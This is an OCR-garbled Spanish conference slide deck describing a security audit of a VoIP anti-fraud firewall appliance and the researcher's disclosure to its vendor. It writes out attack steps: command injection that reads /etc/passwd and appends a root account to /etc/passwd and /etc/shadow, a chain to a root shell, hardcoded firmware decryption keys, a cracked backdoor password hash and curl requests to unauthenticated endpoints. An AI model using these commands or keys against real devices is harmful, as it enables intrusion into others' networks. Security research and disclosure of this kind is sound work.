Analizando la seguridad
de un dispositivo de
seguridad
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Sobre mi

eMail: verdeguer@zoonsuite.com
Linkedin: https://www.linkedin.com/in/pepelux
Twitter: @pepeluxx

= Ingeniero Técnico de Sistemas Informaticos por la U.A.

= Master en Desarrollo y Programacion de Apps y
Servicios Web

= CTO en Zoonsuite (operador de VolIP)
= Ponente en diferentes congresos nacionales
= Autor del libro Hacking y Seguridad VoIP (de 0xWORD)
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., De qué va esta charla ?
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VolIP
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Problemas de la VolP e

¢,Es lo mismo si nhos atacan un sistema de VolP que si
nos atacan una web, un servidor de correo, o cualquier
otro servicio?

sSon las mismas consecuencias?
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Problemas de la VolP

Alguien que ataca una web lo suele hacer por:

Simple diversion

Motivos politicos

Elevar su ego

Robo de informacion
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Problemas de la VolP

Alguien que ataca un sistema de VolP lo hace por:

= Motivos econdmicos

= $$55$

= = grandes pérdidas
en poco tiempo
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Fraude telefonico (e
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Soluciones A

Una buena administracion, ¢; es suficiente?

= Se debe tener siempre los sistemas actualizados
= Pero, no es tan sencillo

= Posiblemente tenemos que proteger diferentes servicios
= PBX, Proxy, Web, TFTP, BBDD, Radius, Billing, etc

= Cada dia aparecen nuevas técnicas de ataque,
nuevos fallos, ...

= Una buena solucion es un firewall:
= Que nos ofrezca seguridad en la red
= Que ademas ‘sepa’ de VolP

*ncibe_



Agenda N

Analisis de un dispositivo para evitar el fraude en VolP

= Funcionalidad

= Seguridad del propio aparato

= Respuesta por parte del fabricante
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Caracteristicas |

= Analisis de paquetes SIP basandose en reglas de Snort.
= Anomalias en el protocolo SIP.

= Ataques de fingerprinting, enumeracion de usuarios y crackeo
de contrasenas.

= Proteccion ante diferentes tipos de ataques:
= Dos/DDos.
= CSS.
= Buffer overflow.
= Vulnerabilidades conocidas.
= Deteccion de fraude.
= SPIT o spam telefénico y war dialing.

= Posee listas negras dinamicas, listas blancas y reglas-de
firewall.

= Geolocalizacion. m
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Caracteristicas ( clome)

e
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Caracteristicas (e
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Caracteristicas
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Caracteristicas
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Analisis del dispositivo

., Como analizamos la seguridad de un dispositivo fisico?

= Teniendo acceso al Firmware
= Si podemos descomprimirio ...
= ... tendremos acceso a todo el sistema

= Problemas:
= Pocos fabricantes ponen el firmware en la web
= Suele venir cifrado
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Analisis del dispositivo e

., Como analizamos la seguridad de un dispositivo fisico?

= Accediendo a los paneles de administracion
= Web
= SSH

= Telnet

= Problemas:
= Analisis a ciegas

s ncibe_ 17



Analisis del dispositivo oz N

1D

., Como analizamos la seguridad de un dispositivo fisico?

= Mediante puertos habilitados para la admlnlstracmn
= Puertos de consola (si hay)
= UART, JTAG, etc

= Problemas:
= Si no hay puerto de consola ...
= ... tenemos que abrirlo = pérdida de garantia
= Es posible que tengamos que soldar
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Firmware ( cuger )
Por defecto, accesible desde las dos interfaces
* No tenemos acceso al firmware completo.

« Podemos descargar actualizaciones desde la web

del fabricante.
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Herramientas (=

Para testearlo usaremos:
» Un switch para crear una red local
« Un Asterisk en una Raspberry Pl
- El dispositivo de seguridad :)

- Un portatil desde donde lanzaremos los ataques

SIP PBX/Gateway STV Appliance

*ublicCloud
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Analizando la funcionalidad
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Funcionalidad (Panel web) ( caser)

Muy sencillo de gestionar

SIP Attacks Detection @

Category Aztion Blecking Jurathn (seconds| Enabled Options
Recornmssance Atacks Loa nons ra
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SIP Edensions Discovery Bock 12¢ v ra
Mutige Authenticaton Faduras/Bnutefone patiword drathing Attampt Bock 1800 b £
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Funcionalidad (Panel web) (e

Por defecto, accesible desde las dos interfaces

Management Access @
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Funcionalidad (Panel web) (S

Ya de entrada, no inspira mucha confianza

Warning: SQLite3::query() [sqlite3.query]: Unable to prepare statement: 1, unrecognized token: """ in
/home/stm/www/htdocs/shield/Control/web_users.php on line 19

Fatal error: Call to a member function fetchArray() on a non-object in
/home/stm/www/htdocs/shield/Control/web_users.php on line 20



Funcionalidad (Panel web)

Ya de entrada, no inspira mucha confianza

perd_| Ping
v Host :a.s.s.a
g
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XSS
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Funcionalidad (Acceso SSH) (o

d 57T™ Appliance Appliance

! fate
shaw versian
shaw cpu
shaw =g~
shaw prac
shaw ip
shaw webkui cantig
shaw signatures versian
set date <MYOODhh~~yyyyz [<7
set wehu® part <parft=
cet webui passwr <passwd> * Programa de comandos

set cansale passwi

set 1p <ip=> <vmask: <gateway:= ° i
enable [dpi ssh ntp] EXIt

disable [dpi ssh ntp]
clear logs

update Tirmware
updatec signaturcs
factorvroscet

restart scrvices

reset

shutdown

run diagnostics
lList timeczones
ping

download Tirwarc
install firware
oxit

shicld>fj 5] -
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Funcionalidad (SIPVicious)

svmap.py: localizar dispositivos y fingerprinting

svwar.py: enumerar extensiones

svcrack.py: crackear contrasefnas por fuerza bruta

svcrash.py: bloguear ataques de SIPVicious

svreport.py: elaborar informes
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Funcionalidad (SIPVicious)
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Funcionalidad (SIPVicious)

o rranc 40: 352 tytes on wire ( ytos capturcd (Z6lb b ts
1 Linux cookod capturc
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Funcionalidad (SIPVicious)

|5 Shive WP Theav My §
nsk nsh ~bas* NET e 1 - *235° ... : g

Rl R E LRl MacBook - Pepelux:sipvicious.cop pepelux$ python svmap.py 192.168.1.8/24

SIP Threat

Nanagement

O 01 waruzry 22
Dashboard @

Sacurlty Rt :Jp Tme
"oAlerts > _—
== Memory Usage

% Natwark Ie€o
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Funcionalidad (INVITE attack) Q

" MM — bl — S0 20
: s SRS Lo W =Rl Ly W .. slaata Lt —

E¥raacban,p. L - wy AT TRATE S
MacBook-Pepelux:-- pepelux$ perl sipinvite,pl
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Caracteristicas ( che

* Andlisis de paquetes SIP basdndose en reglas de Snort.
e Anomalias en el protocolo SIP.
 Ataques de fingerprinting, enumeracién-de-usuvarios y crackeo de contrasefias.
* Proteccién ante diferentes tipos de ataques:
* Dos/DDos. ??7?
* €55
* Buffer overflow.
* Vulnerabilidades conocidas.
* Deteccién-detravde.

* Posee listas negras dindmicas, listas blancas y reglas de firewall.

* Geolocalizacidén. - g

s INclbe_
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Analisis: SSH VT N

¢ Ejecutara la aplicacion comandos propios o del sistema?

ield STM Appl-iance Appliance
ield=help

shaw date
shaw versian
shaw cpu
shaw ~e~
shaw prac
shaw 1ip
shaw webhui cantig
shaw signatures versian
set date <MMOOhh~~yyyyz [<7
set wehui part <part=
set wehui passwd <passwi:=
set cansale passwi
ip =ip> <mask> <gateway:
dpi ssh ntp]
disable [dpi ssh ntp]

clear logs

update Tirwarc
update signatures
factorvrosct
restart scrvices

resct

shutdown

run diagnostics
lList timeczones
ping

download Tirmwarc
install firmware
cxit

shicld>]] o B a
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Analisis: SSH

MacBock-Pepelux:~ pepelux$ ssh adm1nm192 168 1 222




Analisis: SSH

MacBook-Pepelux:—~ pepelux$




Analisis: Panel Web e

¢ Estaran bien filtradas las llamadas al sistema?

SIP Threat

Management

H-Angast-16 024735 nm
Ping

-~  Administration

. Diagnostics

. P

- Traceroute

- Troubleshooting

~ Firmware Upgrace

.+ Logs Archive
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Analisis: Panel Web RN
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Analisis: Panel Web

Repetimos el mismo proceso para sacar un listado de ficheros:
. Is/-R > /tmp/salida

 Ruta web: /home/stm/www/htdocs/shield/

- Redirigimos la salida a una ruta accesible via web

« Leemos de forma mas facil con un GET

MacBook-Pepelux:~ pepelux$ ./stm.sh
Usage: ./stm.sh COMMAND SHOW_RESPONSE
Examples: ./stm.sh "cat /etc/passwd" 1

/stm.sh "cp /etc/passwd /etc/passwd.cop"” ©
MacBook-Pepelux:~ pepelux$

s ncibe_ 39



Analisis: Panel Web




Analisis: Panel Web -

Cabe la posibilidad de que el SSH no esté activo

{ .

echo "Enabling SSH..

sglile3 fhome/s lmfwww/hldocs/shield/DB/Z<Lrm.db "UPDATE DEVICE SETTINGS SET VAL=1 WHERE NAME= EnableSSH
stmconfig 3

}

O que no sepamos la contraseina de acceso

$ ./stm.sh "echo 'pepelux:x:0:0:root:/root:/bin/sh'>>/etc/passwd" 0

$ ./stm.sh "echo 'pepelux\$1\$iZkveuzd\$KV.232Z0uQ1TgNQxGiMne.:
10933:0:99999:7:::'>>/etc/shadow" 0 (pass 123456)

o |
15 INclibe 41



Analisis: Panel Web e

Si no tenemos acceso por SSH

Podemos compilar netcat para MIPS (en este caso Little Endian)
« Toolchains para MIPS LE:

http://downloadi.dd-wrt.com/dd-wrtv2/downloads/toolchains/

toolchains.tar.xz

 Version simplificada de Netcat:

http://download.savannah.gnu.org/releases/netkitty/nk-1.9.tar.gz

- Compilando la aplicacion:
$ mipsel-linux-uclibc-gcc -static -o nk-mips nk.c
"
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http://download1.dd-wrt.com/dd-wrtv2/downloads/toolchains/toolchains.tar.xz
http://download1.dd-wrt.com/dd-wrtv2/downloads/toolchains/toolchains.tar.xz
http://download.savannah.gnu.org/releases/netkitty/nk-1.9.tar.gz

Analisis: Panel Web

Si no tenemos acceso por SSH

) 5 i pepesus oank L PRV
e

MacBook-Pepelux:~ pepelux§ ./stm.sh "iptables

*ncibe_
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Analisis: Panel Web (clome)

SQL Injection al autenticar el usuario

Dev1ceoett1nqs1odpl :getInstance();
ne = setti ->get(DeviceSettingsModel::
-> getL;erPassword( ’ "UNAME" ]);

"admin";

public function getUserPassword | me) {
CB Hdndle..ConnprL(),
= $fdbhe>query("SCLECT password FROM WEBUSCRS WHERE username='
row = Sre: ->fetchArray():
return srow(0];

SQL Injection en UNAME

1 INclbe_ 44



Analisis: Panel Web

Analisis del fichero de autenticacion
*  View/login.php

* include(”../Control/web_users.php”);
- Control/web_users.php

* include(”../Model/db_mgr.php”);
*  Model/db_mgr.php

. private static $DB_FILE_ACTIVE = "../DB/stm.db";

Una BBDD en SQLite accesible desde la URL ... tendra un .htaccess, ¢no?
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Analisis: Panel Web

BBDD en SQLite

Database Strucnure Browse Data  Fdit Fragmas | Fxecute SGI

Tanle: || -] WFRLSFRS -| &) | &
USCRNAMLC PASSWORD

[te [llte

1 admin cAA-Af 1 fic83aldha3cta30427 7 5cr22fad

s INclbe_
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Analisis: Panel Web Z SN

Camp

Analisis del codigo PHP

ey i S Compara el password en MD5 de la BBDD

connectior: <esp-a.ive

Coar s the 53 con el password MD5 ya generado ¢ WTF?

-~

Cache Seaoreels mas agn=n
Origir: TtEs://L9e. 158, 1. 22

Uoyrace Irscoure Poguoslu: Z

User-23e17! Yozl _le/S.0 (X11: Loqux x0S_c4) 2opleweskKat/S27.36 (AUMML, L-<e Cecko) Caromerss1.0.270&. 75 Zatar1/327.36
Conzert-lyos: apploczstoor/x-www-fcrm-Lrlencocac

Locop oz lexthitm eopl cobrongsbtml=xml appl ool o e L g=00%, imagefwekn, = 2= =08

Ieferer: bttos: /192, _Bi. _ ZZiizacex. pap

ceep. Eneocing: uelp, doeflale, o

cepz-LargLage: er-uUs,er;q=0.0,8s;¢=0.6,9._1¢c=0.<

Cookile: scrt Va; tevg =amo; PHPS=Es5.C0 crodcizscdbiesus/scs0 /8052115a81Ca; Tamo terp

h S S

UNAML=sc T aa=SWl=snedmir S Al Posb=cdccafeLfeseihk iczatide s osoce2f adesub e t_action=1

pssion slarl();

N['sessionZd'] = session

N['AUTH ] = "AUTH USER";

N 'user = = mel0

N['Nencenfig'] = :

N['sessTimeoul'] = : 1]
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Analisis: Panel Web
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Recapitulando ...

Si nos encontramos con un aparato de estos

- Descargamos la BBDD con un GET

Accedemos al panel con el MD5

« Ya tenemos inyeccion de comandos

Nos creamos nuestro propio usuario

Eliminamos el .profile

Accedemos por SSH

« Tenemos una bonita shell como root

s ncibe_
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Analisis: Otros servicios

# netstat -1
AcCLive Internel conneclions (only servers)
Proto Recv-Q Send-Q Local Address F
Lcp o} localhost:898 -
Lcp 0 W -
Ltcp Y *:https *.
udp *.8888 AL
x
x
¥
¥

oreign Address State
O
-
Bl
*

udp 192.168.1.222 -
B
k4
4

LISTEN
LISTEN
LISTEN

udp 192.168.1.223

udp localhost:ntp

udp *:ntp

raw B2 o

Active UNIX domain sockets {(only servers)
Proto RefCnt Flags Type State I-Node Path

unix 2 [ ACC ] STREAM LISTENING 848 ftmp/sysstat.dat

unix 2 [ ACC ] STREAM LISTENING 942 Svar/tmp/php.sockel-8

SOPDPODODODODODODOD

A tall Jusr/b'n/in " tstm
init_stat
# more rc init factory reset

1 /bin/s
#1/bin/sh export LD_LIBRARY_PATH=/usr/local/l1D
stmconfig ©

inifst‘m Init_secondary_storage
ledstat_daemon > /dev/null &

stminTo serv > Joev/null &

*ncibe_



Analisis: Otros servicios

o
I ST, LvH, Lo _MHHCAN
oy I
]
v vy
W= =
la $3Q, AxdARAAR Sah, hxiANANN
nop I nn_ARaicen :
wliling GxA, (wSanckul RxARARARAY 1 ik l™ SR, |wNiml AAARAAR] T YLl allin SoR, Slp, AxAZALuar_A7R
I S, perrur G1N, pmrrur Qe GuM, SuH fox
nup (] 41, Sewru fl
julr C19 : purrur SLY : purrur Li SuZ. Haiv #Hau
nop la StY. mensct
Lu tqp. OudCbevar_dad (Sfp} Sqp. DxdDevar_daz(5ip) nop
b lac_dd133¢ lac_4p1izc Jalr  §t8 ; memsct
nnp nnp
In Sap. AesAChIURE_AAN|SHp)
aililin ful, ﬁl]l, AxAlA1uar_47R
aalilin $oll. $l|l, HxACHIvHr AU
5N gvt, wRcHiaddr (Gep] K owddr
gddiv  Svb. Glp. Wxacdivar as4
N Svt. webéaddr lend$spl $ addr len
1] 530. Oxdcb+id{3ip}y & fd
nove Sal. 4wl H bui
R} a7, NGn 4n
nnua 53z, 4rarn Il tlage
IR S, rrowirOm
IIIIII
julr $120 ; rumulrnn
1oy
Ln Syp. GxdHevar QaE(SIp)
addiu  Svb. $ip. Uwdcddvar 2ZHU
addlu  Svi. $1p. dwacdevar_470
nove 530, 4vq H sl
nnuA S5al, %ul nx2
In G0, =treRzennn
llllll
in]l’ $l!l oxbres=ecap
(U
Ln Syp. Wabevar AaE(SIp)
brgz Svt. Joc quipuC
nop
. |
L 4 v
| 3 DY . A
o ‘g 'S
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Analisis: Otros servicios ( ctomc)

Espera entrada de datos

i

¢, Primer valor == set ?

N/ \i.'

- Espera: IP|Netmask|MAC
Imprime datos de brO:

p l

 Netmask Setea interfaz brO:
« MAC address

e |IP
 Netmask
« MAC address
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Caracteristicas (clme

 Andlisis de paquetes SIP baséndose en reglas de Snort.
* Anomalias en el protocolo SIP.

* Ataques de fingerprinting, enumeracion de usuarios y crackeo de contrasefias.

* Proteccién ante diferentes tipos de ataques:
e Dos/DDos. 777
* €55+
o Buffer overflow.
* Vulnerabilidades conocidas.
. SPIT leféni ol

* Posee listas negras dindmicas, listas blancas y reglas de firewall.

* Geolocalizacién. - E . a
=
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¢, Qué mas podemos hacer ? JA

@) & cdhandle: shlib

— FasrsbinSsysioain

ield 5T™ Appliance Appliance it | §¢ -eq ¥ .; then

/binssn
stoptlag=L

acBook-Pepelux:~ pepelux$ ssh admin@192.168.1.222
admin@192.168.1.222's password:

BusyBox v1.4.0 (2014-02-23 20:04:22 IS5T) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

Shield Appliance
shield>sysroot
Enter the Sysroot Password:|}

pang T
download Tirmwarc <url>
install firmware

$HELP) show_usage |,
$QM) =now ucaqge ;;
sL05 0J7) handle logout ;;
! nan3.c crror ;;
6328 [
shicld>fj b

cxit
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¢, Qué mas podemos hacer ? (=

mmm ... ;juna backdoor sélo conocida por el fabricante?

15 '”F'DE_ pe



;. Qué mas podemos hacer ?

| cyber |
Camp

mmm ... ;juna backdoor sélo conocida por el fabricante?

_ A
Ll e =
loc_408310:
la ¢a@, 0x490000
nop
addiu  $a@, {aCnterTheSysroo 6x400888) I "Cnter the Sysroot Password:”
la $ta, getpass
nop
jalr $t9 ; getpass |
nop
1w Sgp. 0x73tvar_68{$fp)
sw Svl, Ox73+var _60($Mp)
1w $a8, 0x73+var_60(5Mp) #
la $19, xslrlen
nop
jalr 9t9 ; strlen
nop
1w Sgp. uxs3+var by ($fp)
sltiu  Svy, 2
beqz Svi, loc_4yuyty
nop
|
56
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¢, Qué mas podemos hacer ? L

mmm ... juna backdoor sélo conocida por el fabricante?

= e
b

lo:_adsii: LR (80
v L. MaTRevar_in(iip)

statistics

nlaintext found: 1 o7 1(100.00%)
disk access tins 508 .42s
cryptanalysis tine: 32.24s5
pre-calculation tinme: 164 .95s5

chain walk step: /95940001
false alarm: 10788
chain walk stcp due to falsce 158367856

sha1 (sin salt): 81f7d39814fd68035fd07f1c74999bbd34af0237 5
Con las Rainbow Tables y un par de minutos mas tardé ...m " .
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;, Qué mas podemos hacer ? (o

mmm ... juna backdoor soélo conocida por el fabricante?

pepelux@debian:~s ssh -vKexAlgorilhms=+dilie-hellman-groupl-shal admin@l92.163.
1.222
adnin@l92.1608.1.222 < password:

BusyBox v1.4.0 (2014-02-23 20:04:22 I57) Built-in shell (ash)
Enter 'help' for @ list of built-in comnands.

Shield Appliance
shield>sysroot
EnlLer Lhe Sysrool Password:

BusyBox v1.4.0 (2014-02-23 20:04:22 IST) Buill-in shell (ash)
n

Enter "help' for & 1ist of built in comnands.

|
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;, Qué mas podemos hacer ? 3N

Camp

Ver como descifra el firmware

fw_log "Extracting the firmware package..."
openssl enc —aes-256-cbc -d -salt -S Ssalt -K $key —-iv Siv -in stm_update.bin -out $installer
if [ 87 -ne @ ];then
fw_errlog "Error: Decryption of firmware update binary failed"
cleanup
echo 1
exit 1
fi

[ NN | | firmware_inc.shlib
linstaller=stm_update.tgz

instfiles=instfiles.tqz

installerloc=/tmp/

CERTPATH=/etc/certs/
salt=32598545633584c4e32594c524¢c4456394d434b43000a

key=325959465859484232594656564d573833584c4a4742485632434b55000a
iv=3176302c000

$ openssl enc -aes-256-cbc -d -salt
-S 3259545633584c4€32594¢c524¢c4456394d434b43000a

-K 325959465859484232594656564d573833584c4a4742485632434b55000a

i
-iv 3176302e000 -in stm_update.bin -out stm_update2.bin & - L =

=
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Aviso al fabricante
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Aviso al fabricante

Mediados de Julio:

* Envio todos los fallos descubiertos.
* Le sugiero que conirate una auditoria urgentemente con

una empresa especializada.

Respuesta rdpida por parte del fabricante:
e Muchas gracias por el aviso.

e Nos vamos a centrar en solucionarlo.
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Aviso al fabricante TN

Finales de Agosto (mail del fabricante):
* Lo hemos solucionado todo.
e Te vamos a mandar un dispositivo nuevo con la versién 2.0.

e Esperamos el feedback por tu parte.

5 Realmente no se pueden permitir pagar una auditoria 2
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Aviso al fabricante

Finales de Septiembre:

* Me llega el dispositivo desde La India.

Principales cambios:

* Nueva caja mds compacta.

e Cambio de MIPS a ARM.

e Distribucién Debian con 33 SID 22
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Aviso al fabricante (R

Tras recibir el aparato nuevo:

* Lo conecto a la red, accedo a la web.

e Y 10 min mds tarde le envio esto al fabricante:

Le vuelvo a sugerir que contrate una auditoria.
* No estdn por la labor.

* Lo Unico que quieren es que les diga cémo gniré. = a
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Problemas

Mismo sitio, diferente pardmetro

SIP Threat

Manacement

H-Angast-16: 024735 nm H

Ping ©

-~  Administration

. Diagnostics

. Pig

- Traceroute

- Troubleshooting

~ Firmware Upgrace

« Logs Archive
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Problemas |

En este caso conozco la contrasena del panel

Los fallos que les comenté estan solucionados:
* Ya no puedo descargar la BBDD con un GET
* Ya no puedo inyectar en el login

Pero el fichero PHP del panel que descarga la configuracion del usuario (la BBDD
cifrada) no comprueba la variable de sesion

Podemos descargar un backup de la BBDD cifrada:
* curl --insecure https://192.168.1.222/View/download.php?id=db
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https://192.168.1.222/View/download.php?id=db

Problemas ()

Configuracion del usuario

$ curl --insecure https://192.168.1.222/View/download . php?id-db basetd -d > stm crypt.db

1ssl enc -aes-256-cbec -d -salt -5 3259545633584c4e32594c524¢4456394d434h43000a \
95084658591842325846565641d573833584¢1a4742485632431b55800a -iv 31763082eCE0 \
m crypt.db -out stm.db

opan
h 32
-in =

3
r

4 New Dolaivae (g Open Dalabse s Wae Chonges 2 Rewert Charges

Datzbace Stucturs | Boowess Dala Edit Pracmzs | Bxzcote SQL

labiie 1WEBASTE IS5 > | |5 A
LISFRYAVF PASSVORTS TTF
Fil. e It Fil. e
1 ad=in F1237f79730750A 7 3R04aNe 1ARD1fc 3 1
. 4 - e
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Problemas ( clner )

Mas ficheros que no verifican la variable de sesion

El panel sélo permite un usuario activo. Si se autentica correctamente un segundo
usuario, echa al primero.

Podemos echar al usuario activo sin autenticarnos:
» curl --insecure -d “config=Continue” https://192.168.1.222/View/login_multi_attempt.php

« También hay otras partes del panel que no verifican la sesion:

Podemos descargar toda la configuracion del sistema:
* curl --insecure https://192.168.1.222/View/download.php?id=diagnostics

O descargar las alertas detectadas por el dispositivo:
« curl --insecure https://192.168.1.222/View/download.php?id=alert
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https://192.168.1.222/View/login_multi_attempt.php
https://192.168.1.222/View/download.php?id=diagnostics
https://192.168.1.222/View/download.php?id=alert

Problemas ( cuper )

5 Qué ocurre si inyectamos cddigo en el hostname 2

General Settings @

o CGererzl Sallings Davice Somings

e Sellings -
Sy Hostha=—e sip_secue$irecozl)

Manayamsenl Access I Cunfguiaion | Sleliz v

Sltnzture Updste 1= AddMask L8216k 2,222 2b5 dbb 2850
Logairg Caleway 162168 2.1
mec.rity Selt ngs Dns Sers 152168 .1

e — Eralessd @

* El dispositivo entra en un bucle de reinicios.

* ij Tuve que reflashearlo !!
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Problemas [ cuser )
Y lo peor de todo ...
Features Tech Specs User Interface o« Guides & Firmware
o .
° Guides & Firmware
Datasheet - Download Now
Pei User Manual - Download Now \n
Quick Installation Guide - Download Now e
Latest Firmware: Download Here (allo stm10 janl2 2016 .tgz)
1 ——
; £
m ", LA
W i &
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Conclusion

Muchas veces surgen buenas ideas con buenas intenciones

* Es importante analizar no sélo la funcionalidad y la usabilidad.

* Sino también la seguridad del propio dispositivo.

En este caso, un dispositivo que debe bloquear ataques hacia nuestra PBX
* Permite que se nos cuelen en nuestra red:
* Acceso a todo el sistema.
* Ya no hay firewall de por medio.

e Monitorizacién de tréfico.
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